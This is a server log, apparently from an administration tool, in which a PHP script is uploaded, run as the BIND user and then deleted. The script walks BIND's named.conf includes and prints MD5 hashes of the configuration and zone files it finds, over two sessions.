2026-01-03 19:07:05: Establishing a connection
2026-01-03 19:07:05: 

PUT: /tmp/pkp589052

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:07:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp589052; rm /tmp/pkp589052'

2026-01-03 19:07:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:15:17: Establishing a connection
2026-01-03 19:15:25: Establishing a connection
2026-01-03 19:15:25: 

PUT: /tmp/pkp406112

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:15:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp406112; rm /tmp/pkp406112'

2026-01-03 19:15:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
